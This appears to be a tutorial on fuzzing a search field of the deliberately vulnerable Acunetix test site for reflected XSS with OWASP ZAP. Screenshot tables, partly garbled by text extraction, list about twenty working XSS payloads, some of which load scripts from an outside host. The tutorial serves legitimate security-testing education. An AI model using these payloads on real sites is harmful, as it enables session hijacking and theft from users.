Fuzzing Web Applications for XSS with ZAP

Use this tutorial to learn how to intercept and fuzz web requests to search for cross-site scripting (XSS) vulnerabilities using OWASP Zed Attack Proxy (ZAP). This tutorial is not meant to be a comprehensive guide on fuzzing or testing for XSS. Instead, it is designed to help get you started. As you learn, you will find other options and techniques that will enhance your testing.

The goal of fuzzing is to force unexpected behavior in web applications to try to get them to reveal exploitable vulnerabilities. We're going to fuzz an intentionally vulnerable application using multiple XSS payloads to see if one specific area of the application is vulnerable. Ideally, you would test every possible attack surface (i.e., everywhere a user could input data).

Notes:

- ZAP is free courtesy of OWASP and Stackhawk. Visit www.zaproxy.org to download and install it.
- You can also use this technique to test for possible SQL injections.
- I'm using ZAP's embedded browser in this tutorial, but this technique also works if you prefer to configure your browser to use ZAP as a proxy.
- Other web proxies, such as Burp Suite, can be used similarly.

The technique I'm illustrating is made against the intentionally vulnerable Acunetix Test Site. This site was created specifically for security testing practice. However, you can practice these attacks against any intentionally vulnerable test site.

Do not attempt these or any other attacks on any site or application that you do not have explicit permission to test. This guide was created for educational purposes only. I assume no responsibility for your actions.

Feel free to share this information. This technique is not my original creation.

Please let me know if you find errors in this or any of my other tutorials. You can contact me on Twitter.

1. Open OWASP ZAP and click Quick Start.



2. Click Manual Explore.



3. Enter the URL and click Launch Browser.

| 🛛 🖗 Quick Start 🖈 🔿 Reque | st 🛾 Response🖛 🛛 💥 Break | + | | | | | |
|---|--|---|--|--|--|--|--|
| Manual Explore | | | | | | | |
| This screen allows you to laun The ZAP Heads Up Display (H | ch the browser of your choice so JD) brings all of the essential ZA | that you can explore your application while proxying through ZAP. P functionality into your browser. | | | | | |
| URL to explore: | http://testphp.vulnweb.com/ | 🔻 🐼 Select | | | | | |
| Enable HUD: | | | | | | | |
| Explore your application: | Launch Browser Firefox | | | | | | |

A browser opens with the site that you submitted.

| A Home of Acu | netix Art × + |
|-----------------------------|--|
| $\leftarrow \rightarrow $ G | 🐵 🔿 👌 testphp.vulnweb.com |
| acunet | ix acuart |
| TEST and Demonstratio | n site for Acunetix Web Vulnerability Scanner |
| home categories | artists disclaimer your cart guestbook AJAX Demo |
| search art | welcome to our page |
| Browse categories | Test site for Acunetix WVS. |
| Browse artists | |
| Your cart | |
| Signup | |

4. In your browser, enter a random search term and click **go**.



5. Notice that your search term was reflected onto the web page. This means that this web page may be vulnerable to reflected XSS, but it will require more investigation.

| home categories | artists disclaimer your cai |
|-------------------|---------------------------------|
| search art | searched for: fuzz |
| Browse categories | |

6. In the ZAP Tree Window, expand the URL and click on a POST request.

| Sites 🛨 | 🥰 Quick Start 🔿 Request Response⇔ 🛛 💥 Break 🕂 |
|--|---|
| | Header: Text Body: Text E |
| Y | POST http://testphp.vulnweb.com/search.phpltest=query HTTP/1.1 HOst: testphp.vulnweb.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x54; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US_en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-tength: 26 Orligin: http://testphp.vulnweb.com Connection: keep-alive |
| Images MoST:search.php(lest)(goButton,searchFor) POST:style.css SI FT:style.css SI P https://firefox.settings.services.mozilla.com | searchFor=fuzz&goButton=go |

You can see your search parameter in the ZAP Workspace Window.



7. Highlight the search parameter, right-click it, and choose **Fuzz**.



8. Click Payloads.



9. Click Add.

| 8 | Payloads | | | | × |
|-------------------|-------------------------------------|-------------|-------------|-----------------|---------------|
| Loc Val Paj | cation: Boo lue: fuzz yloads: | iy [10, 14] | | | |
| # | | Туре | Description | # of Processors | Add Modify |

10. Manually enter the payloads you want to use in the **Contents** field. You can copy and paste those from a list. Countless XSS payloads are available at many websites, such as the one pictured below.



Note: There is an easier way to enter payloads. See page 8 of this tutorial for more information.

11. Copy and paste these payloads and click Add.



12. Click OK.

| 🔇 Payloads | | | | | × |
|---------------|-----------------|---|-----------------|---|------------|
| Location: Boo | iy [10, 14] | | | | |
| Value: fuzz | | | | | |
| Payloads: | | | | | |
| # | Туре | Description | # of Processors | 5 | Add |
| 1 | Strings | <A/hREf="</th> <th>0</th> <th></th> <th>Modify</th> | 0 | | Modify |
| | | | | | Remove |
| | | | | | Processors |
| | | | | | Тор |
| | | | | | Up |
| | | | | | Down |
| | | | | Y | Bottom |
| Remove V | Vithout Confire | mation | | | |
| | | | | | Cancel OK |

13. Click Start Fuzzer.

| 🔇 Fuzzer | × |
|---|---------------------------|
| Fuzz Locations Options Message Processors | |
| Header. Text Body. Text Header. Text Host: testphp.vulnweb.com/search.php?test=query HTTP/1.1 Host: testphp.vulnweb.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko /20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/ avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Length: 26 Origin: http://testphp.vulnweb.com Connection: keep-alive Referer: http://testphp.vulnweb.com/ Upgrade-Insecure-Requests: 1 SearchFor=fuzz&goButton=go | Fuzz Locations: |
| • | Start Fuzzer Reset Cancel |

ZAP attempts to insert each payload, one at a time, into your search parameter and responds with the fuzzing results.

| 🌞 New Fi | New Fuzzer : Progress: 3: HTTP - http://testphpphp?test=query ▼ II ■ 100% | | | | | | | | |
|---|---|------|--------|--------|-------------------|-----------------|---------------|-------------------|--|
| Messages Sent: 22 Errors: 0 💧 Show Errors | | | | | | | | | |
| Task ID 🔺 | Message Type | Code | Reason | RTT | Size Resp. Header | Size Resp. Body | Highest Alert | State | Payloads |
| 0 | Original | 200 | OK | 248 ms | 200 bytes | 4,773 bytes | | | |
| 1 | Fuzzed | 200 | OK | 99 ms | 200 bytes | 4,807 bytes | | | z |
| 2 | Fuzzed | 200 | OK | 177 ms | 200 bytes | 4,803 bytes | | 🤤 Reflected | <d3"<" <"="" onclick="1>[confirm``]">z</d3"<"> |
| 3 | Fuzzed | 200 | OK | 170 ms | 200 bytes | 4,805 bytes | | \ominus Reflected | <d3 onmouseenter="[2].find(confirm)">z</d3> |
| 4 | Fuzzed | 200 | OK | 180 ms | 200 bytes | 4,802 bytes | | 🤤 Reflected | <details ontoggle="confirm()" open=""></details> |
| 5 | Fuzzed | 200 | OK | 185 ms | 200 bytes | 4,813 bytes | | \ominus Reflected | <script y="><">/*<script* */prompt()</script</td></tr><tr><td>6</td><td>Fuzzed</td><td>200</td><td>OK</td><td>80 ms</td><td>200 bytes</td><td>4,813 bytes</td><td></td><td>🤤 Reflected</td><td><w="/x="y>"/ondblclick=`<`[confir\u006d``]>z</td></tr><tr><td>7</td><td>Fuzzed</td><td>200</td><td>OK</td><td>67 ms</td><td>200 bytes</td><td>4,810 bytes</td><td></td><td></td><td>click</td></tr><tr><td>8</td><td>Fuzzed</td><td>200</td><td>OK</td><td>76 ms</td><td>200 bytes</td><td>4,782 bytes</td><td></td><td></td><td>click</td></tr><tr><td>9</td><td>Fuzzed</td><td>200</td><td>OK</td><td>73 ms</td><td>200 bytes</td><td>4,815 bytes</td><td></td><td>\ominus Reflected</td><td><script/"<a"/src=data:=".<a,[8].some(confirm)></td></tr><tr><td>10</td><td>Fuzzed</td><td>200</td><td>OK</td><td>72 ms</td><td>200 bytes</td><td>4,798 bytes</td><td></td><td>🤤 Reflected</td><td><svg/x=">"/onload=confirm()//</td></tr><tr><td>11</td><td>Fuzzed</td><td>200</td><td>OK</td><td>84 ms</td><td>200 bytes</td><td>4,807 bytes</td><td></td><td>\ominus Reflected</td><td><`<img/src=` onerror=confirm``>!></td></tr><tr><td>12</td><td>Fuzzed</td><td>200</td><td>OK</td><td>85 ms</td><td>200 bytes</td><td>4,801 bytes</td><td></td><td></td><td><svg%0AonIoad=%09((pro\u006dpt))()//</td></tr><tr><td>13</td><td>Fuzzed</td><td>200</td><td>OK</td><td>85 ms</td><td>200 bytes</td><td>4,805 bytes</td><td></td><td>읒 Reflected</td><td><sCript x>(((confirm)))``</scRipt x></td></tr><tr><td>14</td><td>Fuzzed</td><td>200</td><td>OK</td><td>85 ms</td><td>200 bytes</td><td>4,807 bytes</td><td></td><td>🤤 Reflected</td><td><svg </onload ="1> (_=prompt,_(1)) ""></td></tr><tr><td>15</td><td>Fuzzed</td><td>200</td><td>OK</td><td>85 ms</td><td>200 bytes</td><td>4,794 bytes</td><td></td><td>읒 Reflected</td><td><!><script src=//14.rs></td></tr><tr><td>16</td><td>Fuzzed</td><td>200</td><td>OK</td><td>91 ms</td><td>200 bytes</td><td>4,788 bytes</td><td></td><td>🤤 Reflected</td><td><embed src=//14.rs></td></tr><tr><td>17</td><td>Fuzzed</td><td>200</td><td>OK</td><td>84 ms</td><td>200 bytes</td><td>4,804 bytes</td><td></td><td>🤤 Reflected</td><td><script x=">" src=//15.rs></script> |
| 18 | Fuzzed | 200 | OK | 84 ms | 200 bytes | 4,839 bytes | | 🤤 Reflected | '/*'/*//*/'/* <image *="" ;="" onerror="confirm`1`" srcset="K"/> |
| 19 | Fuzzed | 200 | OK | 84 ms | 200 bytes | 4,803 bytes | | 🤤 Reflected | <iframe src="" wonload="prompt(1)</td"></iframe> |
| 20 | Fuzzed | 200 | OK | 84 ms | 200 bytes | 4,787 bytes | | 🤤 Reflected | <x oncut="alert()">x</x> |
| 21 | Fuzzed | 200 | ОК | 84 ms | 200 bytes | 4,789 bytes | | Reflected | <svg onload="write()"></svg> |

Items marked with a yellow dot indicate possible XSS.

| | z |
|-----------|--|
| Reflected | <d3"<" <"="" onclick="1>[confirm``]">z</d3"<"> |
| Reflected | <d3 onmouseenter="[2].find(confirm)">z</d3> |
| Reflected | <details ontoggle="confirm()" open=""></details> |
| Reflected | <script y="><"></script> |

14. Click on a line and view the response in the Workspace Window.

| | <pre></pre> |
|-----------|---|
| | 100% Vurrent fuzzers: 0 |
| | |
| State | Payloads |
| | |
| | <a "="" hret="j%0aavas%09cript%0a:%09con%0atirm%0d">z |
| Reflected | <d3"<" <"="" onclick="1>[confirm``]">z</d3"<"> |
| Reflected | <d3 onmouseenter="[2].find(confirm)">z</d3> |

Notice the payload in the response. This payload must be checked manually. Some payloads may not actually work.

15. Enter the payload in the **search art** field on the web page and click **go**.

The web page indicates the search term.



- 16. It doesn't appear to have worked. However, examine the payload more closely: <d3"<"/onclick="1>[confirm``]"<">z
- 17. Notice the **onclick** event handler. The payload is waiting for an action from the user. The letter **z** was reflected onto the page. Click the letter **z**.

| testphp.vulnweb.com | | | 1 |
|--|-------------------|--------|---|
| | ок | Cancel | |
| an example non-application, which is interne- cunetix. It also helps you understand how dev | eloper errors and | bad | |

Alternate Method for Entering Payloads

1. Highlight your search parameter in the Workspace Window, right-click it, and choose **Fuzz**.



2. Click Payloads.

| Fuzz Lo | cations | : | | | | |
|---------|---------|-------|------|--------|---|------------|
| | L 🔺 | Value | # of | # of P | 5 | Add |
| | Bo | fuzz | 0 | 0 | 4 | Remove |
| | | | | | | Payloads |
| | | | | | | Processors |

3. Click Add.

| N Payloads | | | | | | | | | |
|------------|-------------------------|------|-------------|-----------------|---|--------|--|--|--|
| Locatio | Location: Body [10, 14] | | | | | | | | |
| Value: | Value: fuzz | | | | | | | | |
| Payloads: | | | | | | | | | |
| # | | Туре | Description | # of Processors | 5 | Add | | | |
| | | | | | | Modify | | | |

4. Choose **File Fuzzers** from the **Type** dropdown.

| N Add Payload X | | | | | | |
|--------------------|--|-------------------------|--|--|--|--|
| Type: File Fuzzers | | • | | | | |
| Files: | | Find Next Find Previous | | | | |
| | Custom fuzzers Custom fuzzers final dirbuster fuzzdb final dirbuster final dirbuster | | | | | |
| Payloads Preview: | | | | | | |
| | | | | | | |

5. Then choose the type of payloads you want to use. For example:

| 🚺 Add Payload 🛛 🕹 | | | | | | |
|--------------------|--|--|--|--|--|--|
| Type: File Fuzzers | • | | | | | |
| Files: | Find Next Find Previous | | | | | |
| | ▼ ✓attack ▼ ✓all-attacks | | | | | |
| | 🗹 all-attacks-unix.txt | | | | | |
| | all-attacks-win.txt | | | | | |
| | ► authentication | | | | | |
| | ▶ 🗍 business-logic | | | | | |
| | ► control-chars | | | | | |
| | ► disclosure-directory | | | | | |
| | ► disclosure-localpaths | | | | | |
| Payloads Preview: | <pre>15: "<?xml version=""1.0"" encoding=""ISO-8859-1 16: "<?xml version=""1.0"" encoding=""ISO-8859-1 17: "<?xml version=""1.0"" encoding=""ISO-8859-1 18: "<HTML xmlns:xss><?import namespace=""xss"" 19: "<xml ID=""xss"><i><img "<xml="" 20:="" id="I" javas<!="" src=""/><x><c><![CDATA[<IMG SRC=""javas<! 20: "<xml ID=I><x><c><![CDATA[<IMG SRC=""javas! 20: "<xml ID=I><x></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></c></x></i></pre> | | | | | |
| | Cancel | | | | | |

6. Click Add.

7. Click **OK**.

| Nayloads | s | | | | | × | |
|--|----|------------|--|-----------------|---|------------|--|
| Location: Bo Value: fuzz Payloads: | bd | y [10, 14] | | | | | |
| # | | Туре | Description | # of Processors | 5 | Add | |
| | 1 | Strings | <A/hREf="</td> <td>0</td> <td>A</td> <td>Modify</td> | 0 | A | Modify | |
| | | | | | | Remove | |
| | | | | | | Processors | |
| | | | | | | Тор | |
| | | | | | | Up | |
| | | | | | | Down | |
| | | | | | | Bottom | |
| Remove Without Confirmation | | | | | | | |
| | | | | | | Cancel OK | |